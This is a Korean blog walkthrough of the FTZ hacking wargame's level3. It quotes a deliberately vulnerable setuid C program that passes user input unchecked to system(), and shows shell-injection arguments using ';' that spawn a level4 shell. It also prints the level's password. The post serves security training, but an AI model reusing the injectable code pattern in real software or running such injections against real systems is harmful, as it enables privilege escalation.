티스토리 뷰

System/FTZ

[FTZ] level3

MitNy 2017. 9. 6. 17:49



cat 으로 hint 파일을 열면


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


이렇게 autodig의 소스와 힌트가 있다.

우선 setuid가 있는 파일을 찾자.


[level3@ftz level3]$ find / -perm -4000 -user level4 2>/dev/null

/bin/autodig



그냥 autodig 파일을 실행시키면 

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] ); 

이 부분만 출력된다.


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


이 코드를 보면

strcpy, strcat을 좀 알아야 하는데


autodig의 인자가 2개이면 cmd에 dig @ 를 복사해넣고, cmd에 argv[1] 의 값과 version.bind chaos txt를 이어 붙인다.

그 후 system 함수를 통해 cmd를 실행시킨다.


힌트 부분을 생각한다면


- 동시에 여러 명령어를 사용하려면?     => ; 사용

- 문자열 형태로 명령어를 전달하려면?    => " " 사용



이런식으로 ./autodig ~~~~ ; my-pass 를 하면 현재 level3의 pw를 알아낼 수 있으므로

; 과 " 를 사용해 level4 의 쉘을 실행시키고 my-pass로 pw를 알아내는 방법이 있다.



1. ./autodig "level4;/bin/bash;"


2. ./autodig "/bin/bash;my-pass;"



Level4 Password is "suck my brain".



'System > FTZ' 카테고리의 다른 글

[FTZ] level6  (0) 2017.09.08
[FTZ] level5  (1) 2017.09.08
[FTZ] level4  (0) 2017.09.08
[FTZ] level2  (0) 2017.09.06
[FTZ] level1  (2) 2017.09.06
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함